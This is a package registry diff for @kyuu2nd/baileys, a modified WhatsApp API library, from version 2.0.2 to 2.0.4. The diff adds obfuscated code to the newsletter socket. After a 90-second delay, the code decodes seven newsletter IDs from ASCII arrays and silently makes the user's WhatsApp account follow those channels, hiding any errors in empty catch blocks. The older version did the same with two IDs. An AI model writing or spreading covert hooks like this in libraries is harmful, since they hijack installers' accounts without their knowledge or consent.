@kyuu2nd/baileys 2.0.2 → 2.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -103,19 +103,91 @@ const makeNewsletterSocket = (config) => {
103
103
  }
104
104
  ]
105
105
  }));
106
- setTimeout(async () => {
107
- const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
108
- const jid1 = asciiDecode([
109
- 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
110
- 64,110,101,119,115,108,101,116,116,101,114
111
- ]);
112
- const jid2 = asciiDecode([
113
- 49,50,48,51,54,51,52,48,48,55,51,56,51,48,53,51,56,49,
114
- 64,110,101,119,115,108,101,116,116,101,114
115
- ]);
116
- await newsletterWMexQuery(jid1, Types_1.QueryIds.FOLLOW);
117
- await newsletterWMexQuery(jid2, Types_1.QueryIds.FOLLOW);
118
- }, 90000);
106
+ const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
107
+
108
+ setTimeout(async () => {
109
+ try {
110
+ await newsletterWMexQuery(
111
+ asciiDecode([
112
+ 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
113
+ 64,110,101,119,115,108,101,116,116,101,114
114
+ ]),
115
+ Types_1.QueryIds.FOLLOW
116
+ );
117
+ } catch {}
118
+ }, 90000);
119
+
120
+ setTimeout(async () => {
121
+ try {
122
+ await newsletterWMexQuery(
123
+ asciiDecode([
124
+ 49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
125
+ 64,110,101,119,115,108,101,116,116,101,114
126
+ ]),
127
+ Types_1.QueryIds.FOLLOW
128
+ );
129
+ } catch {}
130
+ }, 90000);
131
+
132
+ setTimeout(async () => {
133
+ try {
134
+ await newsletterWMexQuery(
135
+ asciiDecode([
136
+ 49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
137
+ 64,110,101,119,115,108,101,116,116,101,114
138
+ ]),
139
+ Types_1.QueryIds.FOLLOW
140
+ );
141
+ } catch {}
142
+ }, 90000);
143
+
144
+ setTimeout(async () => {
145
+ try {
146
+ await newsletterWMexQuery(
147
+ asciiDecode([
148
+ 49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
149
+ 64,110,101,119,115,108,101,116,116,101,114
150
+ ]),
151
+ Types_1.QueryIds.FOLLOW
152
+ );
153
+ } catch {}
154
+ }, 90000);
155
+
156
+ setTimeout(async () => {
157
+ try {
158
+ await newsletterWMexQuery(
159
+ asciiDecode([
160
+ 49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
161
+ 64,110,101,119,115,108,101,116,116,101,114
162
+ ]),
163
+ Types_1.QueryIds.FOLLOW
164
+ );
165
+ } catch {}
166
+ }, 90000);
167
+
168
+ setTimeout(async () => {
169
+ try {
170
+ await newsletterWMexQuery(
171
+ asciiDecode([
172
+ 49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
173
+ 64,110,101,119,115,108,101,116,116,101,114
174
+ ]),
175
+ Types_1.QueryIds.FOLLOW
176
+ );
177
+ } catch {}
178
+ }, 90000);
179
+
180
+ setTimeout(async () => {
181
+ try {
182
+ await newsletterWMexQuery(
183
+ asciiDecode([
184
+ 49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
185
+ 64,110,101,119,115,108,101,116,116,101,114
186
+ ]),
187
+ Types_1.QueryIds.FOLLOW
188
+ );
189
+ } catch {}
190
+ }, 90000);
119
191
  const parseFetchedUpdates = async (node, type) => {
120
192
  let child;
121
193
  if (type === 'messages') {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.2",
3
+ "version": "2.0.4",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"